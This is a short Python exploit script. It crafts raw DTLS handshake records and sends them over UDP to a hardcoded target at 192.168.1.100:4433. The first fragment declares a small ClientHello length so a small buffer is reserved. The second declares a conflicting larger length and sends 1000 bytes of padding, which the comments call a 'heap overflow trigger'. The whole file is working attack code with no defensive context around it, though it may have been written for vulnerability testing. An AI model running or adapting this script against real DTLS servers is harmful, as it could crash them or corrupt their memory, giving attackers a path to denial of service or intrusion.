import socket
import struct
# Target configuration
TARGET_IP = "192.168.1.100"
TARGET_PORT = 4433
def create_dtls_record(content_type, version, epoch, sequence, fragment):
"""Helper to create a DTLS record layer header"""
# Format: ContentType(1) + Version(2) + Epoch(2) + Sequence(6) + Length(2)
# Note: Length is the length of the fragment
header = struct.pack("!BHH", content_type, version, epoch)
header += struct.pack("!Q", sequence)[2:] # Take last 6 bytes for sequence
header += struct.pack("!H", len(fragment))
return header + fragment
def create_handshake_fragment(msg_type, msg_len, msg_seq, frag_offset, frag_len, data):
"""Helper to create a Handshake protocol fragment"""
# Format: Type(1) + Length(3) + MessageSeq(2) + FragmentOffset(3) + FragmentLength(3)
header = struct.pack("!B", msg_type)
header += struct.pack("!I", msg_len)[1:] # 24-bit length
header += struct.pack("!H", msg_seq)
header += struct.pack("!I", frag_offset)[1:] # 24-bit offset
header += struct.pack("!I", frag_len)[1:] # 24-bit fragment length
return header + data
# Exploit logic
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
# 1. Send initial fragment with small message_length (e.g., 10 bytes)
# This tricks the allocator into reserving a small buffer.
small_data = b"A" * 10
frag1 = create_handshake_fragment(
msg_type=1, # ClientHello
msg_len=10, # The declared total message length (small)
msg_seq=0,
frag_offset=0,
frag_len=10,
data=small_data
)
record1 = create_dtls_record(22, 0xfefd, 0, 0, frag1)
sock.sendto(record1, (TARGET_IP, TARGET_PORT))
print("[+] Sent Fragment 1 (Small allocation trigger)")
# 2. Send subsequent fragment with inconsistent larger length
# The implementation trusts the initial allocation but writes based on this large data.
large_data = b"B" * 1000
frag2 = create_handshake_fragment(
msg_type=1, # ClientHello (same type to match)
msg_len=1010, # Conflicting larger total length
msg_seq=0,
frag_offset=10,
frag_len=1000,
data=large_data
)
record2 = create_dtls_record(22, 0xfefd, 0, 0, frag2)
sock.sendto(record2, (TARGET_IP, TARGET_PORT))
print("[+] Sent Fragment 2 (Heap overflow trigger)")
print("[+] Exploit packets sent successfully.")
except Exception as e:
print(f"[-] Error: {e}")
finally:
sock.close()